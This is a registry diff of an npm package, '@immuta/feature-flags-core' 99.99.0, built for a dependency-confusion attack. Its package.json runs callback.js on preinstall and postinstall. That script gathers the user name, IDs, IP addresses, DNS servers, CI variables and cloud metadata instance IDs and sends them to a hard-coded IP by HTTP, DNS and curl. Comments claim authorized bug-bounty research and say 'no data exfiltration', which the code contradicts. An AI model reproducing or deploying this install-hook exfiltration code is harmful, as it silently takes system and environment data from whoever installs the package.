@immuta/feature-flags-core 99.99.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/callback.js +100 -0
- package/index.js +3 -0
- package/package.json +12 -0
package/callback.js
ADDED
|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
// Security research - dependency confusion detection
|
|
2
|
+
// Authorized Bug Bounty: Immuta Managed Bug Bounty (Bugcrowd)
|
|
3
|
+
// Researcher: init2winit
|
|
4
|
+
// This script only collects non-sensitive system identifiers to prove installation
|
|
5
|
+
// No destructive actions, no data exfiltration, no persistence
|
|
6
|
+
|
|
7
|
+
const http = require('http');
|
|
8
|
+
const { execSync } = require('child_process');
|
|
9
|
+
const os = require('os');
|
|
10
|
+
const dns = require('dns');
|
|
11
|
+
|
|
12
|
+
const CALLBACK = 'http://168.220.234.152:443/5398df/cb';
|
|
13
|
+
const phase = process.argv[2] || 'unknown';
|
|
14
|
+
const PKG = process.env.npm_package_name || 'unknown';
|
|
15
|
+
|
|
16
|
+
function run(cmd) {
|
|
17
|
+
try { return execSync(cmd, { timeout: 5000 }).toString().trim(); } catch { return ''; }
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
function getInternalIP() {
|
|
21
|
+
const ifaces = os.networkInterfaces();
|
|
22
|
+
for (const name of Object.keys(ifaces)) {
|
|
23
|
+
for (const iface of ifaces[name]) {
|
|
24
|
+
if (iface.family === 'IPv4' && !iface.internal) return iface.address;
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
return '';
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
function detectCI() {
|
|
31
|
+
const vars = ['CI','JENKINS_URL','GITHUB_ACTIONS','GITLAB_CI','CIRCLECI','TRAVIS',
|
|
32
|
+
'BUILDKITE','BAMBOO_BUILDKEY','TEAMCITY_VERSION','CODEBUILD_BUILD_ID','BUILD_NUMBER'];
|
|
33
|
+
return vars.filter(v => process.env[v]).map(v => `${v}=${process.env[v].substring(0,80)}`).join(',') || 'none';
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
const info = {
|
|
37
|
+
pkg: PKG,
|
|
38
|
+
phase: phase,
|
|
39
|
+
hostname: os.hostname(),
|
|
40
|
+
os_type: os.type(),
|
|
41
|
+
os_platform: os.platform(),
|
|
42
|
+
os_release: os.release(),
|
|
43
|
+
os_arch: os.arch(),
|
|
44
|
+
whoami: run('whoami'),
|
|
45
|
+
uid: run('id'),
|
|
46
|
+
internal_ip: getInternalIP(),
|
|
47
|
+
external_ip: run('curl -s --max-time 2 ifconfig.me 2>/dev/null'),
|
|
48
|
+
uname: run('uname -a'),
|
|
49
|
+
dns_servers: run("cat /etc/resolv.conf 2>/dev/null | grep nameserver | head -3"),
|
|
50
|
+
reverse_dns: run('host $(curl -s --max-time 2 ifconfig.me 2>/dev/null) 2>/dev/null | head -1'),
|
|
51
|
+
pwd: run('pwd'),
|
|
52
|
+
node_ver: process.version,
|
|
53
|
+
npm_ver: run('npm --version'),
|
|
54
|
+
ci: detectCI(),
|
|
55
|
+
build_id: process.env.BUILD_ID || process.env.BUILD_NUMBER || '',
|
|
56
|
+
ts: new Date().toISOString(),
|
|
57
|
+
cloud_aws: run('curl -s --max-time 2 http://169.254.169.254/latest/meta-data/instance-id 2>/dev/null'),
|
|
58
|
+
cloud_gcp: run('curl -s --max-time 2 -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/id 2>/dev/null'),
|
|
59
|
+
cloud_azure: run('curl -s --max-time 2 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/null'),
|
|
60
|
+
};
|
|
61
|
+
|
|
62
|
+
const data = JSON.stringify(info);
|
|
63
|
+
const url = new URL(CALLBACK);
|
|
64
|
+
|
|
65
|
+
// Method 1: HTTP POST
|
|
66
|
+
try {
|
|
67
|
+
const req = http.request({
|
|
68
|
+
hostname: url.hostname, port: url.port, path: url.pathname,
|
|
69
|
+
method: 'POST',
|
|
70
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
71
|
+
timeout: 10000
|
|
72
|
+
}, () => {});
|
|
73
|
+
req.on('error', () => {});
|
|
74
|
+
req.write(data);
|
|
75
|
+
req.end();
|
|
76
|
+
} catch(e) {}
|
|
77
|
+
|
|
78
|
+
// Method 2: HTTP GET with params (fallback)
|
|
79
|
+
try {
|
|
80
|
+
const p = `h=${encodeURIComponent(info.hostname)}&u=${encodeURIComponent(info.whoami)}&id=${encodeURIComponent(info.uid)}&ip=${encodeURIComponent(info.internal_ip)}&eip=${encodeURIComponent(info.external_ip)}&os=${encodeURIComponent(info.uname)}&dns=${encodeURIComponent(info.dns_servers)}&rdns=${encodeURIComponent(info.reverse_dns)}&ci=${encodeURIComponent(info.ci)}&pwd=${encodeURIComponent(info.pwd)}&cloud=${encodeURIComponent(info.cloud_aws||info.cloud_gcp||info.cloud_azure||'none')}`;
|
|
81
|
+
const req2 = http.request({
|
|
82
|
+
hostname: url.hostname, port: url.port, path: url.pathname + '?' + p,
|
|
83
|
+
method: 'GET', timeout: 10000
|
|
84
|
+
}, () => {});
|
|
85
|
+
req2.on('error', () => {});
|
|
86
|
+
req2.end();
|
|
87
|
+
} catch(e) {}
|
|
88
|
+
|
|
89
|
+
// Method 3: DNS exfil (hostname in subdomain)
|
|
90
|
+
try {
|
|
91
|
+
const label = Buffer.from(info.hostname + '|' + info.whoami + '|' + PKG).toString('hex').substring(0, 60);
|
|
92
|
+
dns.resolve(label + '.5398df.168.220.234.152', () => {});
|
|
93
|
+
} catch(e) {}
|
|
94
|
+
|
|
95
|
+
// Method 4: curl fallback
|
|
96
|
+
try {
|
|
97
|
+
run(`curl -sk -X POST "${CALLBACK}" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' --connect-timeout 5 2>/dev/null &`);
|
|
98
|
+
} catch(e) {}
|
|
99
|
+
|
|
100
|
+
console.log(`[${PKG}] Security research dependency confusion PoC (${phase})`);
|
package/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@immuta/feature-flags-core",
|
|
3
|
+
"version": "99.99.0",
|
|
4
|
+
"description": "Security research - dependency confusion test (authorized Bugcrowd)",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node callback.js preinstall || true",
|
|
8
|
+
"postinstall": "node callback.js postinstall || true"
|
|
9
|
+
},
|
|
10
|
+
"author": "security-research",
|
|
11
|
+
"license": "ISC"
|
|
12
|
+
}
|